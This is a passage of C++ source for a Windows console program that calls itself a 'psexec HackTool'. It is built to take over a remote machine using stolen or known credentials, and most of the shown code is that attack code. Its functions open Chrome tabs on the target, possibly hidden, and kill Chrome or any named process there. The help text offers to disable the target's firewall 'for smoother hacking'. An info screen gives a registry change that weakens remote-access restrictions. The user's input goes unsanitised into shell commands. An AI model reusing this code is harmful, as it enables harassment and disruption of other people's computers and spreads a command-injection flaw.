  854.         std::cout << "    Please enter the time of delay between every tab opening (in milliseconds): ";
  855.         color('G');
  856.         cin >> sDelayBetweenStartingTabs;
  857.         try {
  858.             iDelayBetweenStartingTabs = std::stoi(sDelayBetweenStartingTabs);
  859.         }
  860.         catch (std::invalid_argument& e) {
  861.             std::cout << "Please enter a valid number.\n";
  862.             cin.ignore();
  863.             pause('y');
  864.             openURL();
  865.         }
  866.         if (iDelayBetweenStartingTabs < 100)
  867.             iDelayBetweenStartingTabs = 100;
  868.     }
  869.     else{
  870.         iDelayBetweenStartingTabs = 100;
  871.         iNumOfTabsToOpen = 1;
  872.     }
  873.    
  874.     //-------------------------------------------------------------------------------------------
  875.     //=                            START TO CHECK FOR INCOGNITO MODE                            =
  876.     //-------------------------------------------------------------------------------------------
  877.     if (sIncognito == "y" || sIncognito == "Y" || sIncognito == "yes" || sIncognito == "Yes" || sIncognito == "") {
  878.         AnswerIncognito = " -incognito";
  879.         color('B');
  880.     }
  881.     else if (sIncognito == "n" || sIncognito == "N" || sIncognito == "no" || sIncognito == "No")
  882.         AnswerIncognito = "";
  883.  
  884.     std::cout << "\n\n\n";
  885.     color('G');
  886.     std::cout << "    [+] Opening the URL: ";
  887.     color('R');
  888.     std::cout << URL;
  889.     color('G');
  890.     std::cout << ", ";
  891.     color('R');
  892.     std::cout << iNumOfTabsToOpen;
  893.     color('G');
  894.     std::cout << " times.\n";
  895.  
  896.     if (bIsinVisible) {
  897.         Sleep(iDelayBeforeOpening);
  898.         for (int c = 0; c < iNumOfTabsToOpen; c++) {
  899.             system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c start chrome " + URL + AnswerIncognito).c_str());
  900.            
  901.             Sleep(iDelayBetweenStartingTabs);
  902.         }      
  903.     }
  904.     else {
  905.         Sleep(iDelayBeforeOpening);
  906.         for (int c = 0; c < iNumOfTabsToOpen; c++) {
  907.             system(("psexec -i -d \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + ' ' + '"' + "C:\\Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe" + '"' + ' ' + '"' + URL + '"' + AnswerIncognito + " -accepteula").c_str());
  908.  
  909.             Sleep(iDelayBetweenStartingTabs);
  910.         }
  911.     }
  912.  
  913.     color('Y');
  914.     std::cout << "\n\n\n";
  915.     pause('y');
  916.     chooseoption();
  917.     return;
  918. }
  919.  
  920. void closeChrome() {
  921.     clear();
  922.     string title = "psexec HackTool - close chrome";
  923.     system(("title " + title).c_str());
  924.     color('Y');
  925.     std::cout << "         ---------------------------------------------------------------------------------\n";
  926.     std::cout << "         =                                                        \n";
  927.     std::cout << "         =          Attacking ";
  928.     color('G');
  929.     std::cout << pc.ip;
  930.     color('w');
  931.     std::cout << " with the ";
  932.     color('G');
  933.     std::cout << "username: " << pc.username;
  934.     color('w');
  935.     std::cout << " and the ";
  936.     color('G');
  937.     std::cout << "password: " << pc.password << std::endl;
  938.     color('Y');
  939.     std::cout << "         =              Closing all of its Chrome tabs.            \n";
  940.     std::cout << "         -                                                                               -\n";
  941.     std::cout << "         ---------------------------------------------------------------------------------\n";
  942.     color('C');
  943.     std::cout << "[+] Authenticating...\n";
  944.     color('w');
  945.     system(("pskill \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " chrome.exe " + " -accepteula").c_str());
  946.     color('R');
  947.     std::cout << "DONE\n";
  948.     color('w');
  949.     pause('y');
  950.     cin.ignore();
  951.     chooseoption();
  952.     return;
  953. }
  954.  
  955. void closeProcess() {
  956.     clear();
  957.     system("title psexec HackTool - close process");
  958.  
  959.     string ProcessToClose; 
  960.     std::cout << "\n\n\n";
  961.     color('Y');
  962.     std::cout << "         Please specify the process name you want to close (type back to go back): ";
  963.     color('C');
  964.     cin.clear();
  965.     cin >> ProcessToClose;
  966.     if (ProcessToClose == "back" || ProcessToClose == "BACK")
  967.         chooseoption();
  968.     color('Y');
  969.     std::cout << "         -------------------------------------------------------------------------------------\n";
  970.     std::cout << "         =                                                        \n";
  971.     std::cout << "         =          Attacking ";
  972.     color('G');
  973.     std::cout << pc.ip;
  974.     color('Y');
  975.     std::cout << " with the ";
  976.     color('G');
  977.     std::cout << "username: " << pc.username;
  978.     color('Y');
  979.     std::cout << " and the ";
  980.     color('G');
  981.     std::cout << "password: " << pc.password << std::endl;
  982.     color('Y');
  983.     std::cout << "         =              Closing The process: ";
  984.     color('C');
  985.     std::cout << ProcessToClose << '\n';
  986.     color('Y');
  987.     std::cout << "         =                                                                                    \n";
  988.     std::cout << "         -------------------------------------------------------------------------------------\n";
  989.     color('C');
  990.     std::cout << "[+] Authenticating...\n";
  991.     color('C');
  992.     //system(("psexec -s -d \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c taskkill /F /IM " + ProcessToClose + " /T -accepteula").c_str());
  993.     system(("psexec -s \\\\" + pc.ip + " -u " + pc.username + " -p " + pc.password + " cmd.exe /c taskkill /F /IM " + ProcessToClose).c_str());
  994.     color('Y');
  995.     std::cout << "DONE\n";
  996.     pause('y');
  997.     cin.ignore();
  998.     chooseoption();
  999.     return;
  1000. }
  1001.  
  1002. void credits() {
  1003.     system("title Made by Ori");
  1004.     clear();
  1005.     std::cout << "\n\n\n";
  1006.     color('C');
  1007.     std::cout << "                    =======================================================\n";
  1008.     color('C');
  1009.     std::cout << "                    |                                                     |\n";
  1010.     std::cout << "                    |"; color('R'); cout << "         This hack tool was made by Ori shamir"; color('C'); cout << "       |\n"; Sleep(2300);
  1011.     std::cout << "                    |                                                     |\n"; Sleep(200);
  1012.     std::cout << "                    |"; color('B'); cout << "         It was programmed using C++"; color('C'); cout << "                 |\n"; Sleep(2300);
  1013.     std::cout << "                    |                                                     |\n"; Sleep(200);
  1014.     std::cout << "                    |"; color('Y'); cout << "         I hope you will enjoy my creation."; color('C'); cout << "          |\n"; Sleep(2300);
  1015.     std::cout << "                    |                                                     |\n"; Sleep(200);
  1016.     std::cout << "                    |"; color('P'); cout << "         Please follow my youtube channel."; color('C'); cout << "           |\n"; Sleep(2300);
  1017.     std::cout << "                    |                                                     |\n"; Sleep(200);
  1018.     std::cout << "                    |"; color('G'); cout << "         I will open my youtube channel for you."; color('C'); cout << "     |\n";
  1019.     std::cout << "                    |                                                     |\n";
  1020.     std::cout << "                    =======================================================\n\n\n";
  1021.     Sleep(2000);
  1022.     system("start chrome https://www.youtube.com/channel/UCS7HaiFfEvvMIHGaOz1BF7Q/");
  1023.     std::cout << "\n\n\n";
  1024.     color('w');
  1025.     pause('n');
  1026.     chooseoption();
  1027.  
  1028. }
  1029.  
  1030. void color(char colorchar) {
  1031.     switch (colorchar) {
  1032.     case 'B':
  1033.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 9);
  1034.         break;
  1035.     case 'b':
  1036.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 1);
  1037.         break;
  1038.  
  1039.     case 'y':
  1040.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 6);
  1041.         break;
  1042.     case 'Y':
  1043.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 14);
  1044.         break;
  1045.  
  1046.     case 'c':
  1047.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 3);
  1048.         break;
  1049.     case 'C':
  1050.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 11); //bright cyan
  1051.         break;
  1052.  
  1053.     case 'r':
  1054.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 4);
  1055.         break;
  1056.     case 'R':
  1057.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 12);
  1058.         break;
  1059.  
  1060.     case 'p':
  1061.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 5);
  1062.         break;
  1063.     case 'P':
  1064.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 13);
  1065.         break;
  1066.  
  1067.     case 'g':
  1068.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 2);
  1069.         break;
  1070.     case 'G': // bright green
  1071.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 10);
  1072.         break;
  1073.  
  1074.     case 'w':
  1075.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 7);
  1076.         break;
  1077.     case 'W':
  1078.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 15);
  1079.         break;
  1080.  
  1081.     case 'l':
  1082.         SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE), 0);
  1083.         break;
  1084.     }
  1085. }
  1086.  
  1087. void helpCommands() {
  1088.     color('R');
  1089.     std::cout << "\n         Commands: \n" ;
  1090.  
  1091.     color('G');
  1092.     std::cout << "         set ip [ip]";
  1093.     color('Y');
  1094.     std::cout << " - Set the ip of the remote machine.\n";
  1095.  
  1096.     color('G');
  1097.     std::cout << "         set username [username]";
  1098.     color('Y');
  1099.     std::cout << " - Set the username of the remote machine.\n";
  1100.    
  1101.     color('G');
  1102.     std::cout << "         set password [password]";
  1103.     color('Y');
  1104.     std::cout << " - Set the password of the remote machine.\n";
  1105.        
  1106.     color('G');
  1107.     std::cout << "         set attackType [type]";
  1108.     color('Y');
  1109.     std::cout << " - Set the attack type for the remote machine (type " << '"' << "set" << '"' << " for more info).\n";
  1110.  
  1111.     color('G');
  1112.     std::cout << "         show ip";
  1113.     color('Y');
  1114.     std::cout << " - Shows you the currently set IP\n";
  1115.  
  1116.     color('G');
  1117.     std::cout << "         show username";
  1118.     color('Y');
  1119.     std::cout << " - Shows you the currently set username\n";
  1120.  
  1121.     color('G');
  1122.     std::cout << "         show password";
  1123.     color('Y');
  1124.     std::cout << " - Shows you the currently set password\n";
  1125.  
  1126.     color('G');
  1127.     std::cout << "         show attackType";
  1128.     color('Y');
  1129.     std::cout << " - Shows you the currently set Attack Type\n";
  1130.  
  1131.     color('G');
  1132.     std::cout << "         DisableFirewall";
  1133.     color('Y');
  1134.     std::cout << " - Disables the firewall on the remote machine for smoother hacking experience.\n";
  1135.    
  1136.     color('G');
  1137.     std::cout << "         EnableFirewall";
  1138.     color('Y');
  1139.     std::cout << " - Enables the firewall on the remote machine.\n";
  1140.  
  1141.     color('G');
  1142.     std::cout << "         import <filename>";
  1143.     color('Y');
  1144.     std::cout << " - import saved database information (Please include the .txt extention.)\n";
  1145.    
  1146.     color('G');
  1147.     std::cout << "         info";
  1148.     color('Y');
  1149.     std::cout << " - Get info about the program.\n";
  1150.    
  1151.     color('G');
  1152.     std::cout << "         clear";
  1153.     color('Y');
  1154.     std::cout << " - Clears the screen.\n";
  1155.        
  1156. }
  1157.  
  1158. void info() {
  1159.     system("mode con: cols=140 lines=30");
  1160.     color('Y');
  1161.     std::cout << "\n\n\n";
  1162.     std::cout << "      First, type " << '"' << "help" << '"' << " for help." << "\n\n";
  1163.     std::cout << "      This is a hacktool by ori shamir\n";
  1164.     std::cout << "      This hacktool is using PSEXEC by microsoft.\n";
  1165.     std::cout << "      In order for this to work, you will need to:\n";
  1166.     std::cout << "      1.  Download PSTOOLS (type install)\n";
  1167.     std::cout << "      2.  Edit a registery on the computer you wish to hack.\n";
  1168.     color('G');
  1169.     std::cout << "      2.1 open CMD on the remote machine with administrator privileges.\n";
  1170.     std::cout << "      2.2 Run the command in the command line:\n";
  1171.     color('P');
  1172.     std::cout << "      2.3 " << "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f\n\n";
  1173.     color('R');
  1174.     std::cout << "      [!] know that for smoother hacking you will want to disable firewall on the remote machine.\n";
  1175.     std::cout << "          You can either type disablefirewall, or do it manually.\n";
  1176.     color('G');
  1177.     pause('n');
  1178.     system("mode con: cols=120 lines=30");
  1179.     chooseoption();
  1180. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement